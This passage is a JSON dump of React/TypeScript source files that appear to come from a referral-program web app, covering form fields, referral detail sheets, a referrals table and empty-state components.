{\n          required: field.required,\n          maxLength: maxLength,\n          pattern: field.constraints?.pattern\n            ? new RegExp(field.constraints.pattern)\n            : undefined,\n          ...(inputType === \"email\" && {\n            validate: (value: string) => {\n              if (!value) return true; // required check handles empty\n              return (\n                /^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$/.test(value) ||\n                \"Please enter a valid email address\"\n              );\n            },\n          }),\n        })}\n      />\n\n      {maxLength && (\n        <MaxCharacterCount\n          currentLength={currentLength}\n          maxLength={maxLength}\n        />\n      )}\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/form-fields/textarea-field.tsx",
    "content": "import { textareaFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { cn } from \"@dub/utils\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\nimport { MaxCharacterCount } from \"./max-character-count\";\n\ntype TextareaFieldData = z.infer<typeof textareaFieldSchema>;\n\nexport function TextareaField({\n  keyPath: keyPathProp,\n  field,\n}: {\n  keyPath?: string;\n  field: TextareaFieldData;\n}) {\n  const { register, getFieldState, watch } = useFormContext<any>();\n  const keyPath = keyPathProp || `formData.${field.key}`;\n  const value = watch(keyPath);\n  const state = getFieldState(keyPath);\n  const currentLength = value?.length || 0;\n  const maxLength = field.constraints?.maxLength;\n  const exceedsMaxLength = maxLength && currentLength > maxLength;\n  const error = !!state.error || exceedsMaxLength;\n\n  return (\n    <FormControl label={field.label} required={field.required} dir=\"auto\">\n      <textarea\n        className={cn(\n          \"mt-2 block w-full rounded-md text-sm focus:outline-none\",\n          error\n            ? \"border-red-400 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n            : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:ring-[var(--brand)]\",\n        )}\n        rows={4}\n        {...register(keyPath, {\n          required: field.required,\n          maxLength: maxLength,\n        })}\n      />\n\n      {maxLength && (\n        <MaxCharacterCount\n          currentLength={currentLength}\n          maxLength={maxLength}\n        />\n      )}\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/partner-profile-referral-sheet.tsx",
    "content": "import { PartnerProfileReferral } from \"@/lib/zod/schemas/partner-profile\";\nimport { PartnerReferralActivitySection } from \"@/ui/activity-logs/partner-referral-activity-section\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  ChevronLeft,\n  ChevronRight,\n  Sheet,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { Dispatch, SetStateAction } from \"react\";\nimport { ReferralDetails } from \"./referral-details\";\nimport { ReferralLeadDetails } from \"./referral-lead-details\";\n\ntype PartnerProfileReferralSheetProps = {\n  referral: PartnerProfileReferral;\n  onNext?: () => void;\n  onPrevious?: () => void;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction PartnerProfileReferralSheetContent({\n  referral,\n  onPrevious,\n  onNext,\n}: Omit<PartnerProfileReferralSheetProps, \"setIsOpen\">) {\n  // right arrow key onNext\n  useKeyboardShortcut(\n    \"ArrowRight\",\n    () => {\n      if (onNext) {\n        onNext();\n      }\n    },\n    { sheet: true },\n  );\n\n  // left arrow key onPrevious\n  useKeyboardShortcut(\n    \"ArrowLeft\",\n    () => {\n      if (onPrevious) {\n        onPrevious();\n      }\n    },\n    { sheet: true },\n  );\n\n  return (\n    <div className=\"flex size-full flex-col\">\n      <div className=\"flex h-16 shrink-0 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n        <Sheet.Title className=\"text-lg font-semibold\">\n          Referral details\n        </Sheet.Title>\n        <div className=\"flex items-center gap-4\">\n          <div className=\"flex items-center\">\n            <Button\n              type=\"button\"\n              disabled={!onPrevious}\n              onClick={onPrevious}\n              variant=\"secondary\"\n              className=\"size-9 rounded-l-lg rounded-r-none p-0\"\n              icon={<ChevronLeft className=\"size-3.5\" />}\n            />\n            <Button\n              type=\"button\"\n              disabled={!onNext}\n              onClick={onNext}\n              variant=\"secondary\"\n              className=\"-ml-px size-9 rounded-l-none rounded-r-lg p-0\"\n              icon={<ChevronRight className=\"size-3.5\" />}\n            />\n          </div>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n\n      <div className=\"@3xl/sheet:grid-cols-[minmax(440px,1fr)_minmax(0,360px)] scrollbar-hide grid min-h-0 grow grid-cols-1 gap-x-6 gap-y-2 overflow-y-auto p-4 sm:gap-y-4 sm:p-6\">\n        {/* Left side - Referral details */}\n        <div className=\"flex flex-col gap-6\">\n          <ReferralDetails referral={{ formData: referral.formData }} />\n          <PartnerReferralActivitySection referralId={referral.id} />\n        </div>\n\n        {/* Right side - Customer details */}\n        <div className=\"@3xl/sheet:order-2 flex flex-col gap-2 sm:gap-4\">\n          <ReferralLeadDetails referral={referral} mode=\"readonly\" />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function PartnerProfileReferralSheet({\n  isOpen,\n  nested,\n  ...rest\n}: PartnerProfileReferralSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  const { queryParams } = useRouterStuff();\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={rest.setIsOpen}\n      onClose={() => queryParams({ del: \"referralId\", scroll: false })}\n      nested={nested}\n      contentProps={{\n        // 540px - 1170px width based on viewport\n        className: \"md:w-[max(min(calc(100vw-334px),1170px),540px)]\",\n      }}\n    >\n      <PartnerProfileReferralSheetContent {...rest} />\n    </Sheet>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/partner-profile-referrals-empty-state.tsx",
    "content": "\"use client\";\n\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { referralFormSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { PROGRAM_MARKETPLACE_LOGO_COUNT } from \"@/ui/partners/program-marketplace/program-marketplace-logos\";\nimport { SubmitReferralSheet } from \"@/ui/referrals/submit-referral-sheet\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\nimport * as z from \"zod/v4\";\n\nconst EMPTY_STATE_CARDS = [\n  {\n    logo: 2,\n    programName: \"Tella\",\n    name: \"John Doe\",\n    status: \"Qualified\",\n    statusClassName: \"text-violet-700 bg-violet-100\",\n  },\n  {\n    logo: 7,\n    programName: \"Fillout\",\n    name: \"John Doe\",\n    status: \"Closed won\",\n    statusClassName: \"text-green-700 bg-green-100\",\n  },\n  {\n    logo: 11,\n    programName: \"Granola\",\n    name: \"John Doe\",\n    status: \"New\",\n    statusClassName: \"text-blue-700 bg-blue-100\",\n  },\n];\n\nexport function PartnerProfileReferralsEmptyState() {\n  const { programEnrollment } = useProgramEnrollment();\n  const [showReferralSheet, setShowReferralSheet] = useState(false);\n\n  const referralFormDataRaw = programEnrollment?.program?.referralFormData;\n  const submittedReferralsEnabled = referralFormDataRaw !== null;\n\n  const referralFormData = useMemo(() => {\n    if (!referralFormDataRaw) {\n      return null;\n    }\n    try {\n      return referralFormSchema.parse(referralFormDataRaw) as z.infer<\n        typeof referralFormSchema\n      >;\n    } catch {\n      return null;\n    }\n  }, [referralFormDataRaw]);\n\n  return (\n    <>\n      <AnimatedEmptyState\n        title={\n          submittedReferralsEnabled\n            ? \"No referrals submitted\"\n            : \"Submitted referrals not offered\"\n        }\n        description={\n          submittedReferralsEnabled\n            ? \"Submit leads and track their progress through the sales process.\"\n            : \"You can still earn from regular referrals using your links and codes.\"\n        }\n        // TODO: Add \"learn more\" URLs\n        learnMoreHref={\n          submittedReferralsEnabled\n            ? \"https://dub.co/help/article/partner-rewards\"\n            : \"https://dub.co/help/article/partner-rewards\"\n        }\n        addButton={\n          submittedReferralsEnabled ? (\n            <Button\n              type=\"button\"\n              text=\"Submit referral\"\n              onClick={() => setShowReferralSheet(true)}\n              className=\"h-9 rounded-lg\"\n            />\n          ) : undefined\n        }\n        cardCount={3}\n        cardContent={(index) => {\n          const card = EMPTY_STATE_CARDS[index];\n          return (\n            <div className=\"flex grow items-center justify-between gap-4\">\n              <div className=\"flex items-center gap-4\">\n                <div\n                  className=\"size-8\"\n                  style={{\n                    backgroundImage:\n                      \"url(https://assets.dub.co/misc/program-marketplace-logos.png)\",\n                    backgroundSize: `${PROGRAM_MARKETPLACE_LOGO_COUNT * 100}%`,\n                    backgroundPositionX:\n                      (PROGRAM_MARKETPLACE_LOGO_COUNT -\n                        (card.logo % PROGRAM_MARKETPLACE_LOGO_COUNT)) *\n                        100 +\n                      \"%\",\n                  }}\n                />\n                <div className=\"flex flex-col\">\n                  <div className=\"text-content-default text-sm font-semibold\">\n                    {card.programName}\n                  </div>\n                  <div className=\"text-content-subtle text-xs font-medium\">\n                    {card.name}\n                  </div>\n                </div>\n              </div>\n\n              <div\n                className={cn(\n                  \"text-content-subtle flex h-5 items-center rounded-md px-2 text-xs font-medium\",\n                  card.statusClassName,\n                )}\n              >\n                {card.status}\n              </div>\n            </div>\n          );\n        }}\n        cardContainerClassName=\"max-w-96\"\n        cardClassName=\"rounded-xl\"\n      />\n      {referralFormData && programEnrollment?.programId && (\n        <SubmitReferralSheet\n          isOpen={showReferralSheet}\n          setIsOpen={setShowReferralSheet}\n          programId={programEnrollment.programId}\n          referralFormData={referralFormData}\n        />\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/partner-referral-sheet.tsx",
    "content": "import { ReferralProps } from \"@/lib/types\";\nimport { useConfirmReferralStatusChangeModal } from \"@/ui/modals/confirm-referral-status-change-modal\";\nimport { X } from \"@/ui/shared/icons\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport {\n  Button,\n  ChevronLeft,\n  ChevronRight,\n  Sheet,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { ReferralActivitySection } from \"../activity-logs/referral-activity-section\";\nimport { ReferralDetails } from \"./referral-details\";\nimport { ReferralLeadDetails } from \"./referral-lead-details\";\nimport { ReferralPartnerDetails } from \"./referral-partner-details\";\n\ntype ReferralSheetProps = {\n  referral: ReferralProps;\n  onNext?: () => void;\n  onPrevious?: () => void;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction ReferralSheetContent({\n  referral,\n  onPrevious,\n  onNext,\n  setIsOpen,\n}: ReferralSheetProps) {\n  const [pendingStatus, setPendingStatus] = useState<ReferralStatus | null>(\n    null,\n  );\n\n  const {\n    ConfirmReferralStatusChangeModal,\n    openConfirmReferralStatusChangeModal,\n  } = useConfirmReferralStatusChangeModal({\n    onClose: () => setPendingStatus(null),\n  });\n\n  const hasPendingStatusChange =\n    pendingStatus !== null && pendingStatus !== referral.status;\n\n  // right arrow key onNext\n  useKeyboardShortcut(\n    \"ArrowRight\",\n    () => {\n      if (onNext) {\n        onNext();\n      }\n    },\n    { sheet: true },\n  );\n\n  // left arrow key onPrevious\n  useKeyboardShortcut(\n    \"ArrowLeft\",\n    () => {\n      if (onPrevious) {\n        onPrevious();\n      }\n    },\n    { sheet: true },\n  );\n\n  // Escape key to close sheet\n  useKeyboardShortcut(\n    \"Escape\",\n    () => {\n      setIsOpen(false);\n    },\n    { sheet: true },\n  );\n\n  const handleStatusChange = (newStatus: ReferralStatus) => {\n    setPendingStatus(newStatus === referral.status ? null : newStatus);\n  };\n\n  const handleSaveStatusChange = () => {\n    if (pendingStatus !== null) {\n      openConfirmReferralStatusChangeModal(referral, pendingStatus);\n    }\n  };\n\n  return (\n    <>\n      {ConfirmReferralStatusChangeModal}\n      <div className=\"flex size-full flex-col\">\n        <div className=\"flex h-16 shrink-0 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            Partner referral\n          </Sheet.Title>\n          <div className=\"flex items-center gap-4\">\n            <div className=\"flex items-center\">\n              <Button\n                type=\"button\"\n                disabled={!onPrevious}\n                onClick={onPrevious}\n                variant=\"secondary\"\n                className=\"size-9 rounded-l-lg rounded-r-none p-0\"\n                icon={<ChevronLeft className=\"size-3.5\" />}\n              />\n              <Button\n                type=\"button\"\n                disabled={!onNext}\n                onClick={onNext}\n                variant=\"secondary\"\n                className=\"-ml-px size-9 rounded-l-none rounded-r-lg p-0\"\n                icon={<ChevronRight className=\"size-3.5\" />}\n              />\n            </div>\n            <Sheet.Close asChild>\n              <Button\n                variant=\"outline\"\n                icon={<X className=\"size-5\" />}\n                className=\"h-auto w-fit p-1\"\n              />\n            </Sheet.Close>\n          </div>\n        </div>\n\n        <div className=\"@3xl/sheet:grid-cols-[minmax(440px,1fr)_minmax(0,360px)] scrollbar-hide grid min-h-0 grow grid-cols-1 gap-x-6 gap-y-4 overflow-y-auto p-4 sm:p-6\">\n          {/* Left side - Referral details */}\n          <div className=\"flex flex-col gap-6\">\n            <ReferralDetails referral={{ formData: referral.formData }} />\n            <ReferralActivitySection referralId={referral.id} />\n          </div>\n\n          {/* Right side - Two cards */}\n          <div className=\"@3xl/sheet:order-2 flex flex-col gap-4\">\n            <ReferralLeadDetails\n              referral={referral}\n              selectedStatus={pendingStatus ?? referral.status}\n              onStatusChange={handleStatusChange}\n            />\n            <ReferralPartnerDetails referral={referral} />\n          </div>\n        </div>\n\n        {hasPendingStatusChange && (\n          <div className=\"shrink-0 border-t border-neutral-200 p-5\">\n            <div className=\"flex justify-end gap-2\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-9 w-fit shrink-0\"\n                onClick={() => setPendingStatus(null)}\n              />\n              <Button\n                type=\"button\"\n                variant=\"primary\"\n                text=\"Save changes\"\n                className=\"h-9 w-fit shrink-0\"\n                onClick={handleSaveStatusChange}\n              />\n            </div>\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n\nexport function ReferralSheet({\n  isOpen,\n  nested,\n  ...rest\n}: ReferralSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  const { queryParams } = useRouterStuff();\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={rest.setIsOpen}\n      onClose={() => queryParams({ del: \"referralId\", scroll: false })}\n      nested={nested}\n      contentProps={{\n        // 540px - 1170px width based on viewport\n        className: \"md:w-[max(min(calc(100vw-334px),1170px),540px)]\",\n      }}\n    >\n      <ReferralSheetContent {...rest} />\n    </Sheet>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/partner-referral-table.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { referralSchema } from \"@/lib/zod/schemas/referrals\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport {\n  AnimatedSizeContainer,\n  Filter,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  useColumnVisibility,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { cn, fetcher, formatDate, OG_AVATAR_URL } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { useProgramReferralsCount } from \"../../lib/swr/use-program-referrals-count\";\nimport { ReferralSheet } from \"./partner-referral-sheet\";\nimport { ReferralStatusBadges } from \"./referral-status-badges\";\nimport { getCompanyLogoUrl } from \"./referral-utils\";\nimport { useProgramReferralsFilters } from \"./use-program-referral-filters\";\n\ntype PartnerReferralProps = z.infer<typeof referralSchema>;\n\nexport function PartnerReferralTable() {\n  const { getQueryString, queryParams, searchParams } = useRouterStuff();\n  const { pagination, setPagination } = usePagination();\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const referralIdFromUrl = searchParams.get(\"referralId\");\n\n  const [detailsSheetState, setDetailsSheetState] = useState<{\n    referralId: string | null;\n    open: boolean;\n  }>({\n    referralId: referralIdFromUrl,\n    open: !!referralIdFromUrl,\n  });\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    setSearch,\n    setSelectedFilter,\n  } = useProgramReferralsFilters({});\n\n  const { data: referralsCount, error: countError } =\n    useProgramReferralsCount();\n\n  const {\n    data: referrals,\n    error,\n    isLoading,\n  } = useSWR<PartnerReferralProps[]>(\n    `/api/programs/${defaultProgramId}/referrals${getQueryString({\n      workspaceId,\n    })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const referralsColumns = {\n    all: [\"lead\", \"company\", \"partner\", \"submitted\", \"status\"],\n    defaultVisible: [\"lead\", \"company\", \"partner\", \"submitted\", \"status\"],\n  };\n\n  const { columnVisibility, setColumnVisibility } = useColumnVisibility(\n    \"partner-referrals-table-columns\",\n    referralsColumns,\n  );\n\n  const columns = [\n    {\n      id: \"lead\",\n      header: \"Lead\",\n      enableHiding: false,\n      minSize: 250,\n      cell: ({ row }: { row: Row<PartnerReferralProps> }) => {\n        const referral = row.original;\n        const companyLogoUrl = getCompanyLogoUrl(referral.email);\n\n        return (\n          <div className=\"flex items-center gap-2 truncate\">\n            <img\n              alt={referral.email}\n              src={companyLogoUrl || `${OG_AVATAR_URL}${referral.id}`}\n              className=\"size-5 shrink-0 rounded-full border border-neutral-200\"\n            />\n            <span className=\"truncate\" title={referral.email}>\n              {referral.email}\n            </span>\n          </div>\n        );\n      },\n    },\n    {\n      id: \"company\",\n      header: \"Company\",\n      accessorKey: \"company\",\n      minSize: 150,\n      cell: ({ row }: { row: Row<PartnerReferralProps> }) => {\n        return (\n          <span className=\"min-w-0 truncate\" title={row.original.company}>\n            {row.original.company}\n          </span>\n        );\n      },\n    },\n    {\n      id: \"partner\",\n      header: \"Partner\",\n      minSize: 200,\n      cell: ({ row }: { row: Row<PartnerReferralProps> }) => {\n        return (\n          <PartnerRowItem\n            partner={row.original.partner}\n            showPermalink={true}\n            showFraudIndicator={false}\n          />\n        );\n      },\n    },\n    {\n      id: \"submitted\",\n      header: \"Submitted\",\n      cell: ({ row }: { row: Row<PartnerReferralProps> }) => (\n        <TimestampTooltip\n          timestamp={row.original.createdAt}\n          rows={[\"local\"]}\n          side=\"left\"\n          delayDuration={150}\n        >\n          <span>{formatDate(row.original.createdAt, { month: \"short\" })}</span>\n        </TimestampTooltip>\n      ),\n    },\n    {\n      id: \"status\",\n      header: \"Status\",\n      accessorKey: \"status\",\n      cell: ({ row }: { row: Row<PartnerReferralProps> }) => {\n        const status = row.original.status;\n        const badge = ReferralStatusBadges[status];\n\n        return (\n          <StatusBadge\n            variant={badge.variant}\n            icon={null}\n            className={cn(\"border-0\", badge.className)}\n          >\n            {badge.label}\n          </StatusBadge>\n        );\n      },\n    },\n  ].filter((c) => referralsColumns.all.includes(c.id));\n\n  const { table, ...tableProps } = useTable({\n    data: referrals || [],\n    columns,\n    pagination,\n    onPaginationChange: setPagination,\n    columnVisibility,\n    onColumnVisibilityChange: setColumnVisibility,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `partner referral${p ? \"s\" : \"\"}`,\n    rowCount: referralsCount || 0,\n    loading: isLoading,\n    error: error || countError ? \"Failed to load referrals\" : undefined,\n    onRowClick: (row) => {\n      queryParams({\n        set: { referralId: row.original.id },\n        scroll: false,\n      });\n      setDetailsSheetState({\n        referralId: row.original.id,\n        open: true,\n      });\n    },\n  });\n\n  const currentReferral = useMemo(() => {\n    if (!referrals || !detailsSheetState.referralId) return null;\n    return referrals.find((r) => r.id === detailsSheetState.referralId) || null;\n  }, [referrals, detailsSheetState.referralId]);\n\n  const [previousReferralId, nextReferralId] = useMemo(() => {\n    if (!referrals || !detailsSheetState.referralId) return [null, null];\n\n    const currentIndex = referrals.findIndex(\n      ({ id }) => id === detailsSheetState.referralId,\n    );\n    if (currentIndex === -1) return [null, null];\n\n    return [\n      currentIndex > 0 ? referrals[currentIndex - 1].id : null,\n      currentIndex < referrals.length - 1\n        ? referrals[currentIndex + 1].id\n        : null,\n    ];\n  }, [referrals, detailsSheetState.referralId]);\n\n  // Sync state with URL params\n  useEffect(() => {\n    const urlReferralId = searchParams.get(\"referralId\");\n    if (urlReferralId && urlReferralId !== detailsSheetState.referralId) {\n      setDetailsSheetState({\n        referralId: urlReferralId,\n        open: true,\n      });\n    } else if (!urlReferralId && detailsSheetState.referralId) {\n      setDetailsSheetState({\n        referralId: null,\n        open: false,\n      });\n    }\n  }, [searchParams, detailsSheetState.referralId]);\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      {detailsSheetState.referralId && currentReferral && (\n        <ReferralSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          referral={currentReferral}\n          onPrevious={\n            previousReferralId\n              ? () => {\n                  queryParams({\n                    set: { referralId: previousReferralId },\n                    scroll: false,\n                  });\n                  setDetailsSheetState({\n                    referralId: previousReferralId,\n                    open: true,\n                  });\n                }\n              : undefined\n          }\n          onNext={\n            nextReferralId\n              ? () => {\n                  queryParams({\n                    set: { referralId: nextReferralId },\n                    scroll: false,\n                  });\n                  setDetailsSheetState({\n                    referralId: nextReferralId,\n                    open: true,\n                  });\n                }\n              : undefined\n          }\n        />\n      )}\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onSearchChange={setSearch}\n            onSelectedFilterChange={setSelectedFilter}\n          />\n          <SearchBoxPersisted\n            placeholder=\"Search by email or name\"\n            inputClassName=\"md:w-[16rem]\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n      {referrals?.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : (\n        <AnimatedEmptyState\n          title=\"No referrals submitted\"\n          description=\"Allow partners to submit leads and track their progress through the sales process.\"\n          learnMoreHref=\"https://dub.co/help/article/partner-rewards\"\n          cardContent={\n            <>\n              <div className=\"bg-bg-emphasis h-2.5 w-24 min-w-0 rounded-sm\" />\n            </>\n          }\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/referral-details.tsx",
    "content": "import { ReferralFormDataField, ReferralProps } from \"@/lib/types\";\nimport { formatFormDataValue } from \"./referral-utils\";\n\ninterface ReferralDetailsProps {\n  referral: Pick<ReferralProps, \"formData\">;\n}\n\nexport function ReferralDetails({ referral }: ReferralDetailsProps) {\n  const formData = referral.formData as\n    | ReferralFormDataField[]\n    | null\n    | undefined;\n\n  // Don't show fields with null/undefined/empty/NaN values (avoid displaying \"null\")\n  const displayFormData = formData?.filter((field) => {\n    const v = field.value;\n    if (v === undefined || v === null || v === \"\") return false;\n    if (typeof v === \"number\" && Number.isNaN(v)) return false;\n    return true;\n  });\n\n  return (\n    <div className=\"@3xl/sheet:order-1\">\n      <div className=\"border-border-subtle overflow-hidden rounded-xl border bg-white p-4\">\n        <h3 className=\"text-content-emphasis mb-4 text-lg font-semibold\">\n          Referral details\n        </h3>\n        <div className=\"grid grid-cols-1 gap-4 text-sm text-neutral-600\">\n          {displayFormData?.map((field) => (\n            <div key={field.key}>\n              <div className=\"text-content-default text-sm font-semibold\">\n                {field.label}\n              </div>\n              <div className=\"text-content-default whitespace-pre-line text-wrap text-sm\">\n                {formatFormDataValue(field.value)}\n              </div>\n            </div>\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/referral-form.tsx",
    "content": "\"use client\";\n\nimport {\n  REFERRAL_FORM_FIELD_INPUT_PROPS,\n  REFERRAL_FORM_REQUIRED_FIELDS,\n} from \"@/lib/referrals/constants\";\nimport { referralFormSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { useMemo } from \"react\";\nimport * as z from \"zod/v4\";\nimport { ReferralFormField } from \"./form-fields\";\n\nexport function ReferralForm({\n  referralFormData,\n}: {\n  referralFormData: z.infer<typeof referralFormSchema>;\n}) {\n  // Combine required fields with custom fields and sort by position\n  const allFields = useMemo(() => {\n    const customFields = referralFormData.fields || [];\n\n    return [...REFERRAL_FORM_REQUIRED_FIELDS, ...customFields].sort(\n      (a, b) => a.position - b.position,\n    );\n  }, [referralFormData.fields]);\n\n  return (\n    <div className=\"flex flex-col gap-5\">\n      {allFields.map((field) => {\n        const keyPath = `formData.${field.key}`;\n        const inputProps = REFERRAL_FORM_FIELD_INPUT_PROPS[field.key];\n\n        return (\n          <ReferralFormField\n            key={field.key}\n            field={field}\n            keyPath={keyPath}\n            {...(inputProps && { inputProps })}\n          />\n        );\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/referral-lead-details.tsx",
    "content": "\"use client\";\n\nimport { ReferralProps } from \"@/lib/types\";\nimport { useConfirmReferralStatusChangeModal } from \"@/ui/modals/confirm-referral-status-change-modal\";\nimport { useEditReferralModal } from \"@/ui/modals/edit-referral-modal\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport { Button, Envelope, OfficeBuilding } from \"@dub/ui\";\nimport { OG_AVATAR_URL } from \"@dub/utils\";\nimport { Pencil } from \"lucide-react\";\nimport { ReferralStatusBadge } from \"./referral-status-badge\";\nimport { ReferralStatusDropdown } from \"./referral-status-dropdown\";\nimport { getCompanyLogoUrl } from \"./referral-utils\";\n\ninterface ReferralLeadDetailsProps {\n  referral: Pick<ReferralProps, \"id\" | \"name\" | \"email\" | \"company\" | \"status\">;\n  mode?: \"interactive\" | \"readonly\";\n  selectedStatus?: ReferralStatus;\n  onStatusChange?: (newStatus: ReferralStatus) => void;\n}\n\nexport function ReferralLeadDetails({\n  referral,\n  mode = \"interactive\",\n  selectedStatus,\n  onStatusChange,\n}: ReferralLeadDetailsProps) {\n  const { EditReferralModal, openEditReferralModal } = useEditReferralModal();\n  const {\n    ConfirmReferralStatusChangeModal,\n    openConfirmReferralStatusChangeModal,\n  } = useConfirmReferralStatusChangeModal();\n\n  const isInteractive = mode === \"interactive\";\n  const isControlled = onStatusChange !== undefined;\n\n  const handleStatusChange = (newStatus: ReferralStatus) => {\n    if (onStatusChange) {\n      onStatusChange(newStatus);\n    } else {\n      openConfirmReferralStatusChangeModal(referral, newStatus);\n    }\n  };\n\n  return (\n    <>\n      {isInteractive && <EditReferralModal />}\n      {isInteractive && !isControlled && ConfirmReferralStatusChangeModal}\n      <div className=\"border-border-subtle overflow-hidden rounded-xl border bg-white\">\n        <div className=\"flex items-start justify-between px-4 pt-4\">\n          <div className=\"relative w-fit shrink-0\">\n            <img\n              src={\n                getCompanyLogoUrl(referral.email) ||\n                `${OG_AVATAR_URL}${referral.id}`\n              }\n              alt={referral.company}\n              className=\"size-10 rounded-full\"\n            />\n          </div>\n\n          {isInteractive && (\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              icon={<Pencil className=\"size-3.5\" />}\n              text=\"Edit\"\n              className=\"h-7 w-fit rounded-lg px-2\"\n              onClick={() => openEditReferralModal(referral as ReferralProps)}\n            />\n          )}\n        </div>\n\n        <div className=\"mt-2 px-4\">\n          <div className=\"text-content-emphasis text-base font-semibold\">\n            {referral.name}\n          </div>\n        </div>\n\n        <div className=\"mt-2 flex flex-col gap-2 px-4\">\n          {[\n            { icon: Envelope, value: referral.email },\n            { icon: OfficeBuilding, value: referral.company },\n          ].map(({ icon: Icon, value }, index) => (\n            <div\n              key={index}\n              className=\"text-content-subtle flex items-center gap-1.5\"\n            >\n              <Icon className=\"size-3.5 shrink-0\" />\n              <span className=\"text-xs font-medium text-neutral-700\">\n                {value}\n              </span>\n            </div>\n          ))}\n        </div>\n\n        <div className=\"mt-4 border-t border-neutral-200 p-4\">\n          <div className=\"text-content-emphasis mb-2 text-base font-semibold\">\n            Referral stage\n          </div>\n          {isInteractive ? (\n            <ReferralStatusDropdown\n              referral={referral as ReferralProps}\n              selectedStatus={selectedStatus}\n              onStatusChange={handleStatusChange}\n            />\n          ) : (\n            <ReferralStatusBadge status={referral.status} />\n          )}\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/referral-partner-details.tsx",
